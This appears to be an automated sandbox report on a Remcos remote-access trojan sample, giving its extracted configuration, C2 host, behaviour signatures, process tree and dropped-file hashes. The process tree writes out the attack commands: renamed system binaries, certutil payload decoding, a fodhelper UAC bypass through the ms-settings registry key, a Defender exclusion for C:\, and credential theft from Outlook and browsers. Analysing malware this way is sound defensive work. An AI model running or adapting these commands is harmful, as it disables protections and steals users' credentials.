Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/05/2024, 14:58

General

  • Target
    TT_Copy.cmd
  • Size 3.1MB
  • Sample240513-sb53fsbb7v
  • SHA256 ed251093f38ffc8e6be75bb84d1d4779edaff19836b11d95f8714aa70da52dcc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • wagon1

C2
  • wagonofficeteam.duckdns.org:1965

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-Y8AEVF

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 25 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TT_Copy.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4816
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:1392
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        2⤵
        • Executes dropped EXE
        PID:3524
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        2⤵
        • Executes dropped EXE
        PID:1396
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2124
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:2260
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\TT_Copy.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1600
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\TT_Copy.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
            3⤵
            • Executes dropped EXE
            PID:4800
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1256
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            3⤵
              PID:2412
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:516
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              3⤵
                PID:4564
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1352
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                3⤵
                  PID:3020
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3992
                • C:\Users\Public\xkn.exe
                  C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:4976
                  • C:\Users\Public\alpha.exe
                    "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3588
                    • C:\Users\Public\ger.exe
                      C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Modifies registry class
                      PID:756
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4796
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                  3⤵
                  • Executes dropped EXE
                  PID:412
              • C:\Windows \System32\per.exe
                "C:\\Windows \\System32\\per.exe"
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:2900
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4424
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5112
              • C:\Users\Public\Libraries\Ping_c.pif
                C:\Users\Public\Libraries\Ping_c.pif
                2⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1504
                • C:\Windows\SysWOW64\extrac32.exe
                  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Bhqojaiw.PIF
                  3⤵
                    PID:3444
                  • C:\Windows\SysWOW64\colorcpl.exe
                    C:\Windows\System32\colorcpl.exe
                    3⤵
                    • Suspicious use of SetThreadContext
                    • Suspicious behavior: MapViewOfSection
                    PID:1664
                    • C:\Windows\SysWOW64\colorcpl.exe
                      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hdrfdbleql"
                      4⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4976
                    • C:\Windows\SysWOW64\colorcpl.exe
                      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\sffydlwfeujbn"
                      4⤵
                      • Accesses Microsoft Outlook accounts
                      PID:3724
                    • C:\Windows\SysWOW64\colorcpl.exe
                      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\uzkqeehzacbgxhcqy"
                      4⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2944
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                  2⤵
                  • Executes dropped EXE
                  PID:4660
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                  2⤵
                  • Executes dropped EXE
                  PID:2288
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                  2⤵
                  • Executes dropped EXE
                  PID:2984
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:4252
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:556
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:1188
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:3712
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:4624
              • C:\Windows\system32\SystemSettingsAdminFlows.exe
                "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                1⤵
                  PID:4888

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      __PSScriptPolicyTest_lfwgzv0i.xsx.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lfwgzv0i.xsx.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      hdrfdbleql

                      • Path C:\Users\Admin\AppData\Local\Temp\hdrfdbleql
                      • Size 4KB
                      • SHA256 01fc52f877352f6252d3d9351993fc35d7b6b0051ac6d3146184e12f9bc6e704
                      • MD5 SHA1 SHA512 SSDEEP

                      Ping_c.pif

                      • Path C:\Users\Public\Libraries\Ping_c.pif
                      • Size 1.1MB
                      • SHA256 6a6f0f6fa86b2ee043bbd9f4b9f3589d19c326c15b7b1a81cb6cbec338a5a76f
                      • MD5 SHA1 SHA512 SSDEEP

                      Ping_c.mp4

                      • Path C:\Users\Public\Ping_c.mp4
                      • Size 2.1MB
                      • SHA256 458f3cc07895f546dd4c806e77970d70a34a1299055184c1ec8cd549a66d1a10
                      • MD5 SHA1 SHA512 SSDEEP

                      alpha.exe

                      • Path C:\Users\Public\alpha.exe
                      • Size 283KB
                      • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                      • MD5 SHA1 SHA512 SSDEEP

                      ger.exe

                      • Path C:\Users\Public\ger.exe
                      • Size 75KB
                      • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                      • MD5 SHA1 SHA512 SSDEEP

                      kn.exe

                      • Path C:\Users\Public\kn.exe
                      • Size 1.6MB
                      • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                      • MD5 SHA1 SHA512 SSDEEP

                      xkn.exe

                      • Path C:\Users\Public\xkn.exe
                      • Size 442KB
                      • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                      • MD5 SHA1 SHA512 SSDEEP

                      per.exe

                      • Path C:\Windows \System32\per.exe
                      • Size 48KB
                      • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/1504-75-0x0000000000400000-0x0000000000517000-memory.dmp

                      memory/1664-115-0x00000000028B0000-0x00000000028C9000-memory.dmp

                      memory/1664-117-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-87-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-81-0x0000000003DD0000-0x0000000004DD0000-memory.dmp

                      memory/1664-88-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-89-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-90-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-91-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-92-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-94-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-96-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-97-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-125-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-124-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-123-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-122-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-121-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-120-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-119-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-118-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-86-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-83-0x0000000015BF0000-0x0000000015C72000-memory.dmp

                      memory/1664-112-0x00000000028B0000-0x00000000028C9000-memory.dmp

                      memory/1664-116-0x00000000028B0000-0x00000000028C9000-memory.dmp

                      memory/2944-102-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/2944-103-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/2944-101-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/3724-99-0x0000000000400000-0x0000000000462000-memory.dmp

                      memory/3724-106-0x0000000000400000-0x0000000000462000-memory.dmp

                      memory/3724-105-0x0000000000400000-0x0000000000462000-memory.dmp

                      memory/4976-36-0x000001DD2E440000-0x000001DD2E462000-memory.dmp

                      memory/4976-104-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/4976-100-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/4976-98-0x0000000000400000-0x0000000000478000-memory.dmp